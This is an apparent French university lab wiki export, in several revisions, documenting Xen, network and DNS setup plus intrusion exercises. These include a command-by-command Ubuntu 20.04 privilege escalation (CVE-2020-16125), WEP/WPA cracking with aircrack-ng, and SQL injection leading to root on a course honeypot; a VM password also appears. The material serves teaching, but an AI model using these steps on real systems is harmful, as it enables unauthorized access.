  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, ssh sur la zabeth09, puis minicom : &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
 $  ping google.fr&lt;br /&gt;
&lt;br /&gt;
Et ça marche !&lt;br /&gt;
&lt;br /&gt;
==4.1  Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 $ service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 $ ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Et on accède à piedbleu via SSH !&lt;br /&gt;
&lt;br /&gt;
==4.2  Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
1ère étape: &lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.&lt;br /&gt;
&lt;br /&gt;
2ème étape:&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
3ème partie:&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zobe &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
A présent, nous pouvons configurer le serveur de nom secondaire : &lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
=5. Tests d’intrusion=&lt;br /&gt;
&lt;br /&gt;
==5.1  Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==&lt;br /&gt;
&lt;br /&gt;
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en  &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; '''exclusivité dans le département IMA''' &amp;lt;/span&amp;gt; l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux : &lt;br /&gt;
&lt;br /&gt;
1) J'installe Ubuntu 20.04 dans une VM.&lt;br /&gt;
&lt;br /&gt;
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...&lt;br /&gt;
&lt;br /&gt;
 $ sudo adduser u1&lt;br /&gt;
 $ su u1&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1001(u1) gid=1001(u1) groupes=1001(u1)&lt;br /&gt;
&lt;br /&gt;
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : &lt;br /&gt;
&lt;br /&gt;
 $ ln -s /dev/zero ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Puis on va dans Settings &amp;gt; Region and Language &amp;gt; Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : &lt;br /&gt;
&lt;br /&gt;
 $ top&lt;br /&gt;
&lt;br /&gt;
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.&lt;br /&gt;
&lt;br /&gt;
 $ kill -SIGSTOP 1098&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.&lt;br /&gt;
&lt;br /&gt;
 $ rm ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes. &lt;br /&gt;
 &lt;br /&gt;
 $ nohup bash -c &amp;quot;sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On se déconnecte de notre session.&lt;br /&gt;
&lt;br /&gt;
Le menu &amp;quot;Welcome&amp;quot; de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine ! &lt;br /&gt;
&lt;br /&gt;
 $ whoami&lt;br /&gt;
 pwn&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Explication : '''&lt;br /&gt;
&lt;br /&gt;
En changeant la langue dans &amp;quot;Region and Language&amp;quot;, le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.&lt;br /&gt;
&lt;br /&gt;
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... &lt;br /&gt;
&lt;br /&gt;
Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv-&amp;gt;have_existing_user_accounts, qui est : &amp;quot;false&amp;quot;. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Note 1 : ''' La faille semble avoir été rapidement patchée.&lt;br /&gt;
&lt;br /&gt;
'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège : &lt;br /&gt;
&lt;br /&gt;
accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)&lt;br /&gt;
&lt;br /&gt;
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)&lt;br /&gt;
&lt;br /&gt;
'''Version du noyau et des parquets : '''&lt;br /&gt;
 Ubuntu 20.04.1 LTS, kernel 5.6&lt;br /&gt;
 gdm3, version 3.36.3-0ubuntu0.20.04.1&lt;br /&gt;
 accountsservice, version 0.6.55-0ubuntu12~20.04.1&lt;br /&gt;
&lt;br /&gt;
''' Source : ''' &lt;br /&gt;
&lt;br /&gt;
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020&lt;br /&gt;
&lt;br /&gt;
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE&lt;br /&gt;
&lt;br /&gt;
==5.2  Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles :  (pour repérer le nom du réseau sans fil correspondant à notre binôme) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peux ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé ( message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==5.3  Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi WPA PSK environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:scankracotte.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ). &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. &lt;br /&gt;
&lt;br /&gt;
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante : &lt;br /&gt;
&lt;br /&gt;
 $ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap&lt;br /&gt;
&lt;br /&gt;
Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-5.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.4  Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP (A FAIRE...)==&lt;br /&gt;
'' Installez le paquetage dsniff sur votre eeePC. Transformez votre eeePC en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1. Insérez votre eeePC entre la machine fixe d’un autre binome et le routeur utilisé par cette machine fixe en utilisant la commande arpspoof. Lancez le sniffeur réseau wireshark sur l’eeePC pendant que l’autre binôme se connecte sur un site web HTTP avec des formulaires HTML. Que constatez-vous ? Essayez aussi de relever les paquets réseau pendant que l’autre binôme utilise un logiciel de conversation instantanée. ''&lt;br /&gt;
&lt;br /&gt;
==5.5  Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : &lt;br /&gt;
&lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).&lt;br /&gt;
&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.&lt;br /&gt;
&lt;br /&gt;
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.&lt;br /&gt;
&lt;br /&gt;
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.&lt;br /&gt;
&lt;br /&gt;
On utilise cette découverte pour se connecter sur le serveur en SSH.&lt;br /&gt;
&lt;br /&gt;
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.&lt;br /&gt;
&lt;br /&gt;
Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.&lt;br /&gt;
&lt;br /&gt;
Quelques temps plus tard... John nous donne le mot de passe root !&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe &amp;quot;I was here&amp;quot; : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=6. Réalisations=&lt;br /&gt;
==6.2  Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 $ fdisk -l # on répère la clé USB&lt;br /&gt;
 $ fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/USB &lt;br /&gt;
 $ mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 $ touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 $ umount /mnt/USB&lt;br /&gt;
 $ cryptsetup luksClose myusbkey&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Scankracotte.png&amp;diff=53876</id>
		<title>Fichier:Scankracotte.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Scankracotte.png&amp;diff=53876"/>
				<updated>2020-11-17T22:51:07Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=53769</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=53769"/>
				<updated>2020-11-16T16:33:09Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* 4.2  Serveur DNS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=2. Installation de la machine virtuelle Xen=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on fait un SSH sur capbreton.&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=4. Services Internet=&lt;br /&gt;
==4.0 Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, ssh sur la zabeth09, puis minicom : &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
 $  ping google.fr&lt;br /&gt;
&lt;br /&gt;
Et ça marche !&lt;br /&gt;
&lt;br /&gt;
==4.1  Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 $ service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 $ ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Et on accède à piedbleu via SSH !&lt;br /&gt;
&lt;br /&gt;
==4.2  Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Après avoir ajouter notre 1er nom de domaine piedbleu.site, nous configurons notre serveur DNS sur notre VM afin d'associer notre nom de domaine à notre adresse IP.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
1ère étape: &lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.&lt;br /&gt;
&lt;br /&gt;
2ème étape:&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
3ème partie:&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zobe &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.&lt;br /&gt;
